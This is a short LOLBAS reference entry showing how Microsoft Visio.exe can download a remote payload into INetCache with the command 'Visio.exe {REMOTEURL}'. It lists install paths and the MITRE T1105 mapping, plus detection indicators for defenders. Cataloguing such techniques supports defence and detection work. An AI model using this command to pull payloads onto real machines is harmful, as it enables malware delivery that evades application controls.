LOL · OtherMSBinary

Visio.exe

1 technique WindowsLOLBAS GPL-3.0

// LOL · Visio.exe

Full path: C:\Program Files (x86)\Microsoft Office\Office14\Visio.exe
C:\Program Files\Microsoft Office\Office14\Visio.exe
C:\Program Files (x86)\Microsoft Office\Office15\Visio.exe
C:\Program Files\Microsoft Office\Office15\Visio.exe
C:\Program Files (x86)\Microsoft Office\Office16\Visio.exe
C:\Program Files\Microsoft Office\Office16\Visio.exe
C:\Program Files (x86)\Microsoft Office\root\Office14\Visio.exe
C:\Program Files\Microsoft Office\root\Office14\Visio.exe
C:\Program Files (x86)\Microsoft Office\root\Office15\Visio.exe
C:\Program Files\Microsoft Office\root\Office15\Visio.exe
C:\Program Files (x86)\Microsoft Office\root\Office16\Visio.exe
C:\Program Files\Microsoft Office\root\Office16\Visio.exe
Author: Avihay Eldad
Created: 2024-02-15T00:00:00.000Z
Credits: Avihay Eldad @AvihayEldad
Upstream: lolbas-project.github.io/lolbas/OtherMSBinaries/Visio/

Download

File Download Windows

Downloads payload from remote server

Use It will download a remote payload and place it in INetCache.

Visio.exe {REMOTEURL}

Context: user
Native: Download
MITRE: T1105
Detection: IOC: URL on a visio.exe command line
IOC: visio.exe making unexpected network connections or DNS requests
Refs: lolbas-project.github.io/lolbas/OtherMSBinaries/Visio/